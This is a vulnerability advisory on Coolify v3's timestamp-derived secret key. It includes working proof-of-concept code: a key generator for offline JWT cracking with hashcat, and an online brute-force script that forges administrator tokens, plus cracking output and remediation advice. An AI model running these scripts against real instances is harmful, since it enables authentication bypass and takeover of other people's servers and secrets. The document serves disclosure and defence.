Summary
The COOLIFY_SECRET_KEY environment variable - which is generated during installation - is solely based on a timestamp and therefore not suitable for cryptographic operations, therefore insufficient for securing secrets and logins.
Details
The install script for coolify (hosted at https://get.coollabs.io/coolify/install.sh) includes the following line for generating a secret key used for authenticating users via JWT and encrypting application secrets at rest:
COOLIFY_SECRET_KEY=$(echo $(($(date +%s%N) / 1000000)) | sha256sum | base64 | head -c 32)
Despite the usage of an incomplete sha256 hash, the entropy of the secret key is based solely on the timestamp and, therefore, installation time. Since the format of said timestamp is effectively epoch time in milliseconds, there are only 86400000 possible secret keys per 24h installation time frame. Using other sources, like certificate transparency reports that reveal the issueing time of TLS certifiactes, an attacker can guess the time the coolify instance was installed and reduce the amount of keys to bruteforce significantly. Testing whether a security key is correct works with authentication as any user of the instance as well as without any authentication whatsoever.
If a session token is known to the attacker, the signature of the JWT can be cracked offline. This is significantly faster than to crack the key without any authentication via HTTP requests. Still, this scenario is deemed likely since the pool of possible keys is small and coolify has no measures to block large amounts of requests
PoC
Code to create all possible secret keys of a certain time frame for the usage with Hashcat and a JWT:
import hashlib
import base64
# Start an end time to check as coolify installation time
min_time = 1677715200000
max_time = 1677888000000
# Create possible secret keys the same way coolifys installation
# does it and output them to stdout
for i in range(min_time,max_time):
print(base64.b64encode(bytes(hashlib.sha256((str(i)+"\n").enco
de("utf-8")).hexdigest(), "utf-8"))[:32].decode("utf-8"))
# Offline-crack the JWT cookie of any user to find correct secret key
./genkey.py | hashcat <JWT>
Using the JWT token acquired on an instance of coolify, the secret key of the instance is cracked in less than 4 minutes on a GTX 1070 Ti @ ~520 kH/s with an installation time accuracy of 24 h:
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 16500 (JWT (JSON Web Token))
Hash.Target......: <JWT>
Time.Started.....: Tue Apr 11 17:36:48 2023 (3 mins, 48 secs)
Time.Estimated...: Tue Apr 11 17:40:36 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: Pipe
Speed.#1.........: 520.7 kH/s (7.98ms) @ Accel:512 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 118292480
Rejected.........: 0
Restore.Point....: 0
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: <CANDIDATESTART> -> <CANDIDATEEND>
Hardware.Mon.#1..: Temp: 38c Fan: 43% Util: 0% Core:1607MHz Mem:3802MHz Bus:16
Started: Tue Apr 11 17:36:47 2023
Stopped: Tue Apr 11 17:40:36 2023
<JWT>:*************YzQ1***************
Assuming the same speed, if an attacker is only aware of the year coolify was installed, the secret key would be cracked in ≤ 17 hours.
Code to crack the secret key of a certain time frame without any authentication:
from base64 import b64encode
from hashlib import sha256
import jwt
import time
import aiohttp
import asyncio
found: bool = False
requests_made: int = 0
start_time: int = 0
# Host, start time and end time, number of threads
host: str = "https://coolify.example.com"
start: int = 1671717600000
end: int = 1672750000000
thread_num: int = 5
async def request(host, start, end):
session = aiohttp.ClientSession()
global found, requests_made
for i in range(start, end):
if found:
break
candidate: str = b64encode(
bytes(sha256((str(i) + "\n").encode("utf-8")).hexdigest(), "utf-8")
)[:32].decode("utf-8")
token = jwt.encode(
{
"userId": "0",
"teamId": "0",
"permission": "read",
"isAdmin": True,
"iat": 1687466178,
},
candidate,
)
r = await session.get(
host + "/api/v1/user",
headers={
"Authorization": "Bearer " + token
},
)
if r.status == 200:
found = True
print("Authentication bypassed with JWT {}".format(token))
print("Security token is {}".format(candidate))
requests_made += 1
async def print_status():
global requests_made, end, start, start_time, found
while not found:
print(
"{} requests done ({}% @ {} req/s)".format(
requests_made,
round((requests_made / (end - start)) * 100, 4),
round((requests_made / (time.time() - start_time)), 2),
)
)
await asyncio.sleep(1)
async def main():
global start_time
start_time = time.time()
diff = int((end - start) / thread_num)
pos = start
threads = list()
for i in range(thread_num):
newpos = pos + diff
threads.append(asyncio.create_task(request(host, pos, newpos - 1)))
time.sleep(1)
pos = newpos
threads.append(asyncio.create_task(print_status()))
await asyncio.gather(*threads)
if __name__ == "__main__":
asyncio.run(main())
With about 200 requests/second (5 threads @ ~1MB/s), determining the correct secret key takes at most four times the predicted installation time frame. In a test on a simple dual-core Linux server, the key of a coolify instance with an installation time accuracy of 24 hours was cracked within 18 hours. At this point in time, the pool of possible keys was exhausted by 15.5312% and 13418976 requests were sent to the server.
Impact
If an attacker is able to guess the installation time of coolify, they are most likely able to bruteforce the COOLIFY_SECRET_KEY for that specific instance. Using this key, the attacker can sign a manipulated JWT cookie and earn privileges to other users and/or the user first registered on the instance (Administrator, userId: 0). Since the token is signed correctly, the server accepts the token and gives the attacker access to the resources.
Indicators Of Compromise (IOC)
If the attacker does not have a user account on the affected Coolify instance, exploiting this vulnerability requires a large number of requests that result in increased network activity. Since Coolify v3 neither keeps access logs nor logs authentication, tracing these circumstances is only possible with external tools.
Remediation
The coolify maintainers should change the installation script to generate cryptographically safe random values and use them instead of the current timestamp. Coolify also needs to supply existing users with the possibility of re-encrypting application secrets with the new secret key, since old secrets would be unrecoverable with a new key. Users are advised to install v4 of Coolify as soon as possible if available, since the respective install script uses cryptographically secure random values. Whether the migration path from v3 to v4 also fixes this issue is unknown at the time of writing.
If unable to upgrade, coolify should be made available only from SSH-Tunnels, and external access should be blocked. This change makes external destinations and webhooks (traefik, GitHub, GitLab, etc.) unusable.